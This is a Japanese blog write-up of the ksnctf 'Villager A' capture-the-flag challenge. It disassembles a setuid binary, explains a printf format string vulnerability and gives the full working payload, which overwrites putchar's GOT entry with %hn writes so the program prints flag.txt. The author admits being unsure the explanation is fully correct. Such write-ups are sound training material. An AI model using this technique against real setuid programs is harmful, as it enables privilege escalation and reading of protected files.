村人Aに挑戦した

前に一度, 様々な記事を参考にしながら解いたんですが, その後色々と勉強したので復習も兼ねてまたやってみることにしました.

 

この記事はヒントとかではなく, 最後Flagの出力まで書いてあるのでTPISだけ欲しい人にはおすすめできません.

書いてあることが合ってる保証もないです

 追記 : ブログのスタイルが原因で, 追記が相当見にくいです. あとでどうにかします

問題

ksnctf.sweetduet.info

 

解き始める前に

SSHでログインしないと始まらないので, 早速ログインします.

 

 $ ls -l

-r--------. 2 q4a q4a 22 5月 22 02:12 2012 flag.txt
-rwsr-xr-x. 1 q4a q4a 5857 5月 22 11:21 2012 q4
-rw-r--r--. 1 root root 151 6月 1 04:47 2012 readme.txt 

 ファイルを確認すると FLAGが書いてあるであろうテキストファイルと "q4" と READMEがあることが確認できます.

 

flag.txtは読み込めないので, とりあえず q4 のファイル形式と READMEの確認をします.

$ file ./q4

./q4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

ELF形式32 [bit]の実行ファイルであることが判明しました.

READMEには, "(前略) 必要なら /tmpを使ってね" と書いてありました.

 

では q4 を実行してみましょう.

$ ./q4

What's your name?
ykm
Hi, ykm

Do you want the flag?
Yes
Do you want the flag?
yes
Do you want the flag?
No
Do you want the flag?
no
I see. Good bye.

 名前を入力して, そのあとは "no" と打つまでずっと繰り返されます.

ltrace / strace は使えなかったので逆アセンブルします.

(gdbはやってみましたが使い方がよくわかってないです>< 今後の課題..)

横着して見たまま編集にしてるので, 逆アセンブルの結果見辛くなってます;;

重要な部分以外は省略しています.

$ objdump -d -M Intel ./q4

./q4: file format elf32-i386

 

08048474 <putchar@plt>:
8048474: ff 25 e0 99 04 08 jmp *0x80499e0
804847a: 68 08 00 00 00 push $0x8
804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>

 

080485b4 <main>:
80485b4: 55 push %ebp
80485b5: 89 e5 mov %esp,%ebp
80485b7: 83 e4 f0 and $0xfffffff0,%esp
80485ba: 81 ec 20 04 00 00 sub $0x420,%esp
80485c0: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp)
80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt>
80485cc: a1 04 9a 04 08 mov 0x8049a04,%eax
80485d1: 89 44 24 08 mov %eax,0x8(%esp)
80485d5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80485dc: 00
80485dd: 8d 44 24 18 lea 0x18(%esp),%eax
80485e1: 89 04 24 mov %eax,(%esp)
80485e4: e8 9b fe ff ff call 8048484 <fgets@plt>
80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp)
80485f0: e8 bf fe ff ff call 80484b4 <printf@plt>
80485f5: 8d 44 24 18 lea 0x18(%esp),%eax
80485f9: 89 04 24 mov %eax,(%esp)
80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt>
8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
8048608: e8 67 fe ff ff call 8048474 <putchar@plt>
804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp)
8048614: 01 00 00 00
8048618: eb 67 jmp 8048681 <main+0xcd>
804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp)
8048621: e8 9e fe ff ff call 80484c4 <puts@plt>
8048626: a1 04 9a 04 08 mov 0x8049a04,%eax
804862b: 89 44 24 08 mov %eax,0x8(%esp)
804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
8048636: 00
8048637: 8d 44 24 18 lea 0x18(%esp),%eax
804863b: 89 04 24 mov %eax,(%esp)
804863e: e8 41 fe ff ff call 8048484 <fgets@plt>
8048643: 85 c0 test %eax,%eax
8048645: 0f 94 c0 sete %al
8048648: 84 c0 test %al,%al
804864a: 74 0a je 8048656 <main+0xa2>
804864c: b8 00 00 00 00 mov $0x0,%eax
8048651: e9 86 00 00 00 jmp 80486dc <main+0x128>
8048656: c7 44 24 04 d1 87 04 movl $0x80487d1,0x4(%esp)
804865d: 08
804865e: 8d 44 24 18 lea 0x18(%esp),%eax
8048662: 89 04 24 mov %eax,(%esp)
8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt>
804866a: 85 c0 test %eax,%eax
804866c: 75 13 jne 8048681 <main+0xcd>
804866e: c7 04 24 d5 87 04 08 movl $0x80487d5,(%esp)
8048675: e8 4a fe ff ff call 80484c4 <puts@plt>
804867a: b8 00 00 00 00 mov $0x0,%eax
804867f: eb 5b jmp 80486dc <main+0x128>
8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax
8048688: 85 c0 test %eax,%eax
804868a: 0f 95 c0 setne %al
804868d: 84 c0 test %al,%al
804868f: 75 89 jne 804861a <main+0x66>
8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp)
8048698: 08
8048699: c7 04 24 e8 87 04 08 movl $0x80487e8,(%esp)
80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt>
80486a5: 89 84 24 1c 04 00 00 mov %eax,0x41c(%esp)
80486ac: 8b 84 24 1c 04 00 00 mov 0x41c(%esp),%eax
80486b3: 89 44 24 08 mov %eax,0x8(%esp)
80486b7: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80486be: 00
80486bf: 8d 44 24 18 lea 0x18(%esp),%eax
80486c3: 89 04 24 mov %eax,(%esp)
80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt>
80486cb: 8d 44 24 18 lea 0x18(%esp),%eax
80486cf: 89 04 24 mov %eax,(%esp)
80486d2: e8 dd fd ff ff call 80484b4 <printf@plt>
80486d7: b8 00 00 00 00 mov $0x0,%eax
80486dc: c9 leave
80486dd: c3 ret
80486de: 90 nop
80486df: 90 nop

 

fgets で 名前入力してから, printf で "Hi, name" が表示されているようですが

printf が2回callされています. (そのあとの putcharは改行(\n)であると予想できます.)

 

FSA問の可能性が高いことがわかります.

FSAとは, printf()が

printf("%s", fmt) ;

のような記述ではなく

printf(fmt) ;

のように, 入力した文字列をそのまま出力するように記述されている脆弱性です.

入力文字列にフォーマット指定子が含まれると, printf関数が認識してスタックから値を取ってこようとします. 

fasに関しては, Wikiなどで調べてください>< 

 

つまりは, 

printf("Hi, %s", name); ではなく

printf("Hi"); printf(fmt); になっているから, メモリなどを実行者が自由に書き換えることが可能だということです. 

 

実際にやってみます.

$ echo "aaaa %x %x %x %x %x %x %x %x" | ./q4
What's your name?
Hi, aaaa 400 5048c0 8 14 7dffc4 61616161 20782520 25207825 

入力に書式指定子 "%x" が含まれていると printf("%x") として実行されてしまうので

スタックの上から順に値を出力します.

入力した文字列はスタック上のどこかにあるので, %x を繰り返しているといつか文字列そのものが表示されます.

入力した"aaaa"に対応する"61616161"は 400 から順に数えて6番目に出てきました.

 

アセンブルの結果から, fopenでflag.txtを読み込もうとしているけれど, その前の jmp や jne によって飛ばされていることがわかります.

 

つまり, FSAを使うことでputchar が jmpしようとしている 0x080499e0 0x08048691

に書き換えてしまうことでfopenを実行させます.

 

ここで書式指定子 "h" と "n" がでてきます.

"%n" は それまでに出力した文字数分を指定した部分に書き込みます.

”%n”だと4バイトを一気に書き込むので, "h"を使用して2バイトの書き込みにします.

"%hhn"にすると1バイトずつの書き込みになります.

"%数字$x"では, スタック上の何番目を取ってくるか指定できます.

[q4@localhost ~]$ echo -e "AAAA %6\$x" | ./q4
What's your name?
Hi, aaaa 61616161

つまり,

書き換えたいアドレスを指定し, %6$hn" と "%7$hn" で

スタックの6番目と7番目に2バイトずつ, 8691 0804(リトルエンディアンに注意) になる様に書き換えてやればいいわけです.

書き換えたいアドレスは 

0x80499e0 と 0x80499e2 (2バイトずつ) なので, 最初のアドレス指定は

"\xe0\x99\x04\x08\xe2\x99\x04\x08"

すでにアドレス指定で8文字出力しているので,

0x8691 - 0x08 = 34441

0x10804 - 34441 = 33139

 

2バイトずつ, それぞれ指定したアドレスに書き換えたい数値分を入力とすると

"\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn"

 

 

 

$ echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

でフラグが入手できます.

 

感想

書いてて自分でもあまりわかってない部分があることがわかりました.

そもそも自分で書いてあることが正しいのかわかってないです(大問題).

特に 書式指定子hnとかは全くだったのでもっと精進します.

正直FSAの他の問題が出ても自力で解ける気がしないです..

まだsolveしたとはとても言えませんね.

日を改めて再挑戦, というよりかはもっと知識をつけようと思います.

 

参考にしたところ

ksnctf #4 Villager A - かたはらいたし。

format string attackによるGOT overwriteをやってみる - ももいろテクノロジー

format string attackによるGOT overwriteをやってみる - ももいろテクノロジー